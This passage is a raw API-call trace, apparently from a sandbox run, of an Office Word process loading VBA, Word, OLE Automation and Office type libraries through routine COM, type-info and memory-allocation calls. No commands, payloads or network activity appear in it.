This=0x2885d271318, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f67e8 | out: ppvObject=0xbcb38f67e8*=0x0) returned 0x80004002 [0073.136] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0073.136] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f67e8 | out: ppvObject=0xbcb38f67e8*=0x0) returned 0x80004002 [0073.136] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d15ec80 [0073.136] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d74ae00 [0073.136] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d749d80 [0073.136] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8bcb50 [0073.137] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8bae10 [0073.137] IUnknown:QueryInterface (in: This=0x2885d271268, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f67e8 | out: ppvObject=0xbcb38f67e8*=0x0) returned 0x80004002 [0073.137] IUnknown:QueryInterface (in: This=0x2885d271318, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f67e8 | out: ppvObject=0xbcb38f67e8*=0x0) returned 0x80004002 [0073.137] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f67e8 | out: ppvObject=0xbcb38f67e8*=0x0) returned 0x80004002 [0073.137] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x50) returned 0x2885daa6a30 [0073.137] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0073.137] IUnknown:AddRef (This=0x2885d4c6250) returned 0x10 [0073.137] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f5d18, pDummy=0x0 | out: ppTLibAttr=0xbcb38f5d18, pDummy=0x0) returned 0x0 [0073.137] ITypeLib:RemoteGetDocumentation (in: This=0x2885d4c6250, index=-1, refPtrFlags=0xb38f5d30, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0073.137] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885db9a7e0 [0073.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0xbcb38f5da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL+L\x88\x02", lpUsedDefaultChar=0x0) returned 66 [0073.137] strcpy_s (in: _Dst=0x288576b7f50, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0073.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0xbcb38f5eb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0073.137] strcpy_s (in: _Dst=0x288576b7fa0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0073.137] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885db9bd70 [0073.137] IUnknown:AddRef (This=0x2885d4c6250) returned 0x11 [0073.137] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0073.137] IUnknown:Release (This=0x2885d4c6250) returned 0x10 [0073.137] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0073.138] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0073.138] IUnknown:AddRef (This=0x28857594370) returned 0xd [0073.138] ITypeLib:RemoteGetLibAttr (in: This=0x28857594370, ppTLibAttr=0xbcb38f5d18, pDummy=0x0 | out: ppTLibAttr=0xbcb38f5d18, pDummy=0x0) returned 0x0 [0073.138] ITypeLib:RemoteGetDocumentation (in: This=0x28857594370, index=-1, refPtrFlags=0xb38f5d30, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0073.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0xbcb38f5da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 58 [0073.138] strcpy_s (in: _Dst=0x288576b8010, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0073.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xbcb38f5eb0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0073.138] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8bcd90 [0073.138] strcpy_s (in: _Dst=0x2885d8bcdb8, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0073.139] IUnknown:AddRef (This=0x28857594370) returned 0xe [0073.139] ITypeLib:LocalReleaseTLibAttr (This=0x28857594370) returned 0x0 [0073.139] IUnknown:Release (This=0x28857594370) returned 0xd [0073.139] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0073.139] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0073.139] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0 [0073.139] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0073.139] ITypeLib:RemoteGetLibAttr (in: This=0x2884e335eb0, ppTLibAttr=0xbcb38f5d18, pDummy=0x0 | out: ppTLibAttr=0xbcb38f5d18, pDummy=0x0) returned 0x0 [0073.139] ITypeLib:RemoteGetDocumentation (in: This=0x2884e335eb0, index=-1, refPtrFlags=0xb38f5d30, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0073.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0xbcb38f5da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\stdole2.tlbce\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31 [0073.139] strcpy_s (in: _Dst=0x2885d8bce28, _DstSize=0x20, _Src="C:\\Windows\\System32\\stdole2.tlb" | out: _Dst="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0073.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xbcb38f5eb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0073.139] strcpy_s (in: _Dst=0x2885d8bce50, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0073.139] IUnknown:AddRef (This=0x2884e335eb0) returned 0x9 [0073.140] ITypeLib:LocalReleaseTLibAttr (This=0x2884e335eb0) returned 0x0 [0073.140] IUnknown:Release (This=0x2884e335eb0) returned 0x8 [0073.140] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0073.140] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0073.140] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 2 [0073.140] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0073.140] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0073.140] ITypeLib:RemoteGetLibAttr (in: This=0x2885d608e20, ppTLibAttr=0xbcb38f5d18, pDummy=0x0 | out: ppTLibAttr=0xbcb38f5d18, pDummy=0x0) returned 0x0 [0073.140] ITypeLib:RemoteGetDocumentation (in: This=0x2885d608e20, index=-1, refPtrFlags=0xb38f5d30, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0073.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0xbcb38f5da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0073.141] strcpy_s (in: _Dst=0x2885d8bcec0, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0073.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xbcb38f5eb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0073.141] strcpy_s (in: _Dst=0x2885d8bcf08, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0073.141] IUnknown:AddRef (This=0x2885d608e20) returned 0x6 [0073.141] ITypeLib:LocalReleaseTLibAttr (This=0x2885d608e20) returned 0x0 [0073.141] IUnknown:Release (This=0x2885d608e20) returned 0x5 [0073.141] CoCreateGuid (in: pguid=0x288576b7e88 | out: pguid=0x288576b7e88*(Data1=0x6c2cd7da, Data2=0xbb2b, Data3=0x49d9, Data4=([0]=0x9f, [1]=0xe8, [2]=0x9d, [3]=0x35, [4]=0xc4, [5]=0x47, [6]=0x67, [7]=0x3b))) returned 0x0 [0073.141] IUnknown:QueryInterface (in: This=0x2885d271268, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5960 | out: ppvObject=0xbcb38f5960*=0x0) returned 0x80004002 [0073.141] IUnknown:AddRef (This=0x2885d271268) returned 0x3 [0073.141] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f5978, pDummy=0xbcb38f5960 | out: ppTypeAttr=0xbcb38f5978, pDummy=0xbcb38f5960*=0x0) returned 0x0 [0073.141] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0073.141] IUnknown:Release (This=0x2885d271268) returned 0x2 [0073.141] IUnknown:Release (This=0x2885d271268) returned 0x1 [0073.141] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x118) returned 0x2885d5df1e0 [0073.141] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8ba2d0 [0073.141] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xe30) returned 0x2885d5558f0 [0073.141] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f5958, pDummy=0xbcb38f5994 | out: ppTypeAttr=0xbcb38f5958, pDummy=0xbcb38f5994*=0xffffffff) returned 0x0 [0073.141] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x0, ppFuncDesc=0xbcb38f5950, pDummy=0x2884e5fae50 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x2884e5fae50*=0xe7edf3f0) returned 0x0 [0073.141] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.141] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x1, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.141] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.141] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x2, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.141] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.141] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x3, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.141] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.141] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x4, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.141] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x5, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x6, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x7, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x8, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x9, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0xa, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0xb, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0xc, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f5958, pDummy=0xbcb38f5994 | out: ppTypeAttr=0xbcb38f5958, pDummy=0xbcb38f5994*=0xffffffff) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x0, ppFuncDesc=0xbcb38f5950, pDummy=0x2884e5fae50 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x2884e5fae50*=0xe7edf3f0) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x1, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x2, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x3, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x4, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x5, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x6, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x7, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x8, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0x9, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.142] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.142] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0xa, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.143] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.143] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0xb, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.143] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.143] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271318, index=0xc, ppFuncDesc=0xbcb38f5950, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5950, pDummy=0x6) returned 0x0 [0073.143] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271318) returned 0x0 [0073.143] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0073.143] IUnknown:Release (This=0x2885d271318) returned 0x3 [0073.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885da05010 [0073.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885da04df0 [0073.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885da04f50 [0073.143] IUnknown:QueryInterface (in: This=0x2885d271318, riid=0x7ff9bdeff4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5268 | out: ppvObject=0xbcb38f5268*=0x0) returned 0x80004002 [0073.143] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f5260, pDummy=0xbcb38f5268 | out: ppTypeAttr=0xbcb38f5260, pDummy=0xbcb38f5268*=0x0) returned 0x0 [0073.143] IUnknown:QueryInterface (in: This=0x2885d271318, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f51d8 | out: ppvObject=0xbcb38f51d8*=0x0) returned 0x80004002 [0073.143] IUnknown:AddRef (This=0x2885d271318) returned 0x4 [0073.143] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f51d0, pDummy=0xbcb38f51d8 | out: ppTypeAttr=0xbcb38f51d0, pDummy=0xbcb38f51d8*=0x0) returned 0x0 [0073.143] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0073.143] IUnknown:Release (This=0x2885d271318) returned 0x3 [0073.143] strcpy_s (in: _Dst=0x2885d8ba328, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0073.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc8) returned 0x2885da7dd40 [0073.143] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f5190, pDummy=0x2885d271318 | out: ppTypeAttr=0xbcb38f5190, pDummy=0x2885d271318*=0xe81ef308) returned 0x0 [0073.143] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d271318, ppTLib=0xbcb38f5198, pIndex=0xbcb38f51d8 | out: ppTLib=0xbcb38f5198*=0x28857594370, pIndex=0xbcb38f51d8*=0x20e) returned 0x0 [0073.143] ITypeLib:RemoteGetLibAttr (in: This=0x28857594370, ppTLibAttr=0xbcb38f4e88, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4e88, pDummy=0x0) returned 0x0 [0073.143] ITypeLib:RemoteGetDocumentation (in: This=0x28857594370, index=-1, refPtrFlags=0xb38f4ea0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0073.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0xbcb38f4f10, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB\x95èù\x7f", lpUsedDefaultChar=0x0) returned 58 [0073.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xbcb38f5020, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0073.143] ITypeLib:LocalReleaseTLibAttr (This=0x28857594370) returned 0x0 [0073.144] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885db996a0 [0073.144] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8ba510 [0073.144] IUnknown:AddRef (This=0x2885d271318) 